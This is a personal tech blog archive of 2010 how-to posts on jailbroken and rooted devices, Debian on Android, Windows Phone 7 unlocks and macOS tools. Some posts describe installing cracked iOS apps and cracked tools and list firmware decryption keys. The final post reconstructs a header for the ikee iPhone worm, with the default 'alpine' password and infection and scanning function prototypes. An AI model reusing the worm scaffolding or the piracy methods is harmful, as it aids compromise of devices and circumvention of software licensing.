Monday, December 6, 2010

How to install Whatsapp on iPad

The developer has stopped the support for iPad
But if you have jailbreak your iPad

You can first install 2.5.3 version in iPad, register it
and then upgrade to the latest version 2.5.11 or 2.5.12

Sunday, December 5, 2010 live on Samsung Galaxy Tab

How to install debian on Samsung Galaxy Tab

Assume you have rooted the Samsung Galaxy Tab and want to install debian

The instruction of setting up debian in G1 is in saurik's site here
But some of the information are outdated, as the rooting is very simple now and the busybox comes with one click z4root

z4root is here

I like this method as the Debian system is installed in a standalone img file which can be copied to other Android phones.

(1) Download the Debain G1 image here

or here

There is a ubuntu.img out there and is 2G in size (but trust me, running a graphical desktop via vnc is overkilling on mobile device). If you want shell access only, this debian.img is better.

(2) copy it to sdcard.
adb push debian-armel-750.img.bz2 /sdcard/

(3) su shell access to Tab

adb shell

(4) unzip the file in Tab. The image after unzip is 750M in size, so make sure you have enough space in sdcard.

cd /sdcard
busybox bunzip2 debian-armel-750.img.bz2
mv debian-armel-750.img debian.img

(5) setup mount and chroot

create and run this script in

cd /data/local
busybox vi Select all
export kit=/sdcard
export mnt=/data/local/mnt
export TERM=linux
export HOME=/root
export PATH=$bin:/usr/bin:/usr/sbin:/bin:$PATH

busybox clear

busybox mkdir -p $mnt

busybox mount -o loop,noatime $kit/debian.img $mnt

busybox mount -t devpts devpts $mnt/dev/pts
busybox mount -t proc proc $mnt/proc
busybox mount -t sysfs sysfs $mnt/sys

busybox mkdir -p $mnt/mnt
busybox mkdir -p $mnt/mnt/sdcard $mnt/mnt/system
busybox mkdir -p $mnt/mnt/data $mnt/mnt/dev

busybox mount -o bind /sdcard $mnt/mnt/sdcard
busybox mount -o bind /system $mnt/mnt/system
busybox mount -o bind /data $mnt/mnt/data
busybox mount -o bind /dev $mnt/mnt/dev
busybox mount -t tmpfs tmpfs $mnt/tmp -o noatime,mode=1777

busybox chroot $mnt /bin/bash

#After exit command is executed clear it all up
echo " "

echo "Shutting down Debian........"

umount $mnt/dev/pts
umount $mnt/proc
umount $mnt/sys
umount $mnt/mnt/sdcard
umount $mnt/mnt/system
umount $mnt/mnt/data
umount $mnt/mnt/dev
umount $mnt/tmp
umount $mnt

run the script


# now Tab should be in Debian System

(6) do some fixing and change root password and install OpenSSH and start it

rm -f /etc/mtab
ln -s /proc/mounts /etc/mtab
passwd root
apt-get update
apt-get install debian-keyring debian-archive-keyring
apt-get update
apt-get upgrade
apt-get install openssh-server openssh-client
/etc/init.d/ssh start

(7) If the default package source does not work, you can change this file /etc/apt/sources.list to

deb lenny main

(8) Then you can ssh to your Tab by using ssh after enable wifi in Tab, where is the IP address of Tab.

(9) If you want to change the DNS server say to Google Public DNS

echo "nameserver" > /etc/resolv.conf
echo "nameserver" >> /etc/resolv.conf

Saturday, November 27, 2010

Windows Phone 7 Developer Unlock



(1) Install this certificate in your Windows Phone 7 via IE :

(2) Download and install this registration key in your Windows 7 OS

(3) Download and run this program in Windows 7 OS

Other Hacks
copy files to WP7 device in Windows Explorer

USB Tethering

Thursday, November 25, 2010

Windows Phone 7 Developer Registration Step 2 Error

see here

Error in Step 2 while registering
We are currently tracking an issue developers may experience while registering for App Hub where they receive an error including the following text:

We have detected an error while processing the page you were looking for.

· If you reside in Hong Kong, we are aware of this issue but do not have any workarounds available. We are investigating this and will update this announcement as we find more information.

Saturday, November 20, 2010

香港天氣及日曆 gadgets (windows 7)

Stock 3 gadget is here

Sunday, November 14, 2010

How to replace gnutar and gsed for Mac OS X

Install MacPorts

Install gnutar

sudo port install gnutar

Install gsed

sudo port install gsed

Replace tar and sed in Mac OS X

sudo mv /usr/bin/tar /usr/bin/darwintar
sudo ln -s /opt/local/bin/gnutar /usr/bin/tar

sudo mv /usr/bin/sed /usr/bin/darwinsed
sudo ln -s /opt/local/bin/gsed /usr/bin/sed

or you can build from source

Sunday, November 7, 2010

iPA God

The so called iPA God is just using the developer's certificate to re-codesign the cracked app and install on non-jailbreaked iPhone.

Staring from iOS 4.0, provisioning profile and app can be distributed and installed via WebServer

You can simply add this in the WebServer and install the app via http

<a href="">Install Provisioning Profile</a><br/>
<a href="itms-services://?action=download-manifest&url=">Install MyApp</a>

The content of MYApp.plist is

MyApp.plist Select all

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "">
<plist version="1.0">


WhatsApp for iPad

The new version v2.5.11 doesn't work for iPad 3G

You have to install 2.5.3 then upgrade to 2.5.11

Sunday, October 17, 2010

Windows Phone 7 Emulator Hack

Windows Phone 7 Emulator Hack (Sept Version)

(1) Download the Windows Phone Developer Tools and install it in Windows (not for VMWare nor other Virtual Machine)

(2) Download the Hacked Image to your Desktop

(3) Create a shortcut and with similar to this as (replace YOU as your username)
"C:\Program Files\Microsoft XDE\1.0\XDE.exe" "C:\Users\YOU\Desktop\WM70C1.en-US.unlocked.bin" /VMID {E575DA31-FC47-4766-853F-018D823B9EE6}

Programming Windows Phone 7 (pdf + source code)

Tuesday, September 28, 2010

MyWi Not Initialized! Reboot ?

If you have installed the cracked version of MyWi and sometimes later you get the MyWi Not Initialized! message like below.

The easiest solution is here (do these steps in quick succession)

1. open miwi 1st time
2. when it asked to exit or reboot, click on exit 1st time
3. open mywi 2nd time
4. when it asked to exit or reboot, click on exit 2nd time
5. open mywi 3rd time
6. when it asked to exit or reboot, click on reboot

Once you have rebooted, now open mywi, and it should work.

Everytime you run into this problem, just repeat the steps above and it should work everytime .


Sunday, June 20, 2010

How to download / upload data to Google App Engine for localhost

The --dump option is not working
with this error error: no such option: --dump

Deprecated method (Code for Configuration) is used instead to upload_data / download_data to localhost app

Here is an example

(1) modify app.yaml and add this under handlers:
- url: /remote_api
script: $PYTHON_LIB/google/appengine/ext/remote_api/
login: admin

You have to restart the app after modifying app.yaml

(2) create this file :

import datetime
from google.appengine.ext import db
from import bulkloader

class Album(db.Model):
artist = db.StringProperty()
title = db.StringProperty()
publication_date = db.DateProperty()
length_in_minutes = db.IntegerProperty()

class AlbumLoader(bulkloader.Loader):
def __init__(self):
bulkloader.Loader.__init__(self, 'Album',
[('title', str),
('artist', str),
lambda x: datetime.datetime.strptime(x, '%m/%d/%Y').date()),
('length_in_minutes', int),

loaders = [AlbumLoader]

(3) prepare an upload file : album.csv


(3) Launch your app in localhost and upload using this command upload_data --application=yourappid --kind=Album --url=http://localhost:8080/remote_api --filename=album.csv

(4) check the table data in your Google App SDK console

(5) to download data create this file :

import datetime
from google.appengine.ext import db
from import bulkloader

class Album(db.Model):
artist = db.StringProperty()
title = db.StringProperty()
publication_date = db.DateProperty()
length_in_minutes = db.IntegerProperty()

class AlbumExporter(bulkloader.Exporter):
def __init__(self):
bulkloader.Exporter.__init__(self, 'Album',
[('title', str, None),
('artist', str, None),
('publication_date', str, None),
('length_in_minutes', int, None),

exporters = [AlbumExporter]

(6) use this command to download data download_data --application=yourappid --kind=Album --url=http://localhost:8080/remote_api --filename=albumout.csv

Friday, June 18, 2010

Old versions of iTunes

iTunes 10.4 Download
Windows X86
Windows X64
Mac OS X

iTunes 10.3.1 Download
Windows X86
Windows X64
Mac OS X

iTunes 10.2.2 Download
Windows X86
Windows X64
Mac OS X

iTunes for Windows x86

iTunes for Windows x64

iTunes for Mac

iTunes 9.2

iTunes 9.1.1 (Mac OS 10.4.11 or later)

iTunes 9.1 for Mac

iTunes 9.0.3 for Mac

iTunes 9.0 for Mac

iTunes 8.2.1 for Mac

iTunes 9.2 for Windows 64 bit

iTunes 9.2 for Windows 32 bit

iTunes 9.1.1 for Windows 64 bit (Windows Vista 64 bit, Windows 7 64 bit)

iTunes 9.1.1 for Windows 32 bit (Windows XP SP2, Vista)

iTunes 9.1 for Windows

iTunes 9.0.3 for Windows

iTunes 9.0 for Windows

iTunes 8.2.1 for Windows

Sunday, May 2, 2010

Bluetooth Keyboard for iPad

Here are the shortcut keys that I discovered for the Bluetooth keyboard when using iPad

Command Z : Undo
Command Shift Z : Redo
Command A : Select All
Command X : Cut
Command C : Copy
Command V : Paste
Command Space : keyboard selection (if you have enabled multiple keyboards in iPad)
Command-delete : Delete to beginning of line
Control H : Delete
Control I : Tab
Control K : delete to end of line
Shift Arrow : Make Selection range
Option Arrow : advance / backward word
Command Arrow : Start / End of line or Top / Bottom
Eject button on the top right : hide /unhide soft keyboard for iPad (when in editing mode)
All the Brightness, playback and sound control function keys are working

Saturday, May 1, 2010

Snow Leopard Screenshots and Grab not working

Recently, I have upgraded from 10.5.x to to 10.6.2 and then 10.6.3 and the Screenshots (Cmd Shit 3 / Cmd Shift 4) and Grab app are not function properly. That is no images are generated.

The solution is to reinstall the
Mac OS X 10.6.2 Update (Combo)
Mac OS X 10.6.3 Update (Combo)

Then these problems will be fixed.

Sunday, April 11, 2010

iPhone OS 4.0 beta 1 vfdecrypt key

4.0 beta 1 (8A230m)

Root Filesystem

iPhone 3G

iPhone 3GS

iPod Touch 3G

iPod Touch 2G

4.0 beta 2 (8A248c)

Root Filesystem

iPhone 3G
0da2d3316d5ee7cd1858e4035e451387cd8156e97535fb0902 8859e68e5b7b39a6649552

iPhone 3GS
62ea9bf9971e6c410231646f916f80330f9cbc1d1c585f0c03 dab6b6f7158dc0a9c5efaf

iPod Touch 3G
382dee11b9d80387b16ac2030ee1e903b78d9743a31a18bcaf c922b7921eca85ab0aebf7

iPod Touch 2G
d88fa434f6a8c50fd49cd0923879da5c3079c59c0e534cff52 1a9cecbcad48d84b4daef0

Saturday, April 10, 2010

Stanza 2.1 USB transfer epub file (no jailbreak required)

Download iPhone Explorer (Windows or Mac version)

Choose /var/mobile/Media as root directory and create Stanza folder under DCIM directory

upload epub file to say


1) Launch Stanza on your iPhone, and go to the "Get Books" tab.
2) Select the "Downloads" segment.
3) Tap the plus sign.
4) enter URL


Then press Download button

Wednesday, March 31, 2010

Old versions of iTunes

Windows iTunes version 9.0.3

Windows iTunes version 8.2.1

Mac iTunes version 9.0.3

Mac iTunes version 8.2.1

Wednesday, February 24, 2010

Thursday, January 7, 2010


虛擬商品 / 小數目的話

(1) 香港買張中移動神州行手機充值卡 (序列號/卡號為17位,充值密碼為18位的全國通用充值卡)
(2) 支付寶內選擇[消费卡]充值及[话费充值卡]
(3) 選擇[充值卡面值]50元/100元 及填入 [充值卡号] (序列號/Serial Number) 及 [充值卡密码]

充值卡面值100元扣除服务费:5.00 元(费率:5%)



目前支持香港、台灣、澳門地區通過Visa 3D驗證的Visa信用卡。
Hang Seng(恆生銀行)

從2009年7月7日開始, 支付寶將收取3%的服務費(如發生退款,服務費按相同比例退還,但您需要承擔可能的資金損益,例如匯率波動、銀行收費等)。此服務費與VISA卡組織所確定的附加費用無關,是支付寶對用戶使用支付寶系統進行交易所收取的系統使用服務費。

2)如運費是由賣家負責,請聯繫賣家在購買前把運費更改為“買家負責” 。
3)如使用了“合併付款”功能,visa暫時是不支持“合併付款” 。

Monday, January 4, 2010

Source code for ikee iPhone worm

What I guess, the missing main.h should be something like this below:

main.h Select all

#include <sys/fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <syslog.h>
#include <errno.h>
#include <ifaddrs.h>
#include <string.h>

#define MAX_NUM 24
#define VULN_PASS "alpine"

void scanner(char *ipRange);
int scanHost(char* host);
int checkHost(char *host);
int runCommand(char* command, char *host);
int prunCommand(char* command, char *host);
int CopyFile(char* src, char* dst, char* host);
int ChangeOnBoot();
int KillSSHD();
int infectHost(char *host);
char *randHost(void);
int get_lock(void);
char *getAddrRange();
int tokenise (char input[], char *token[], char* spl);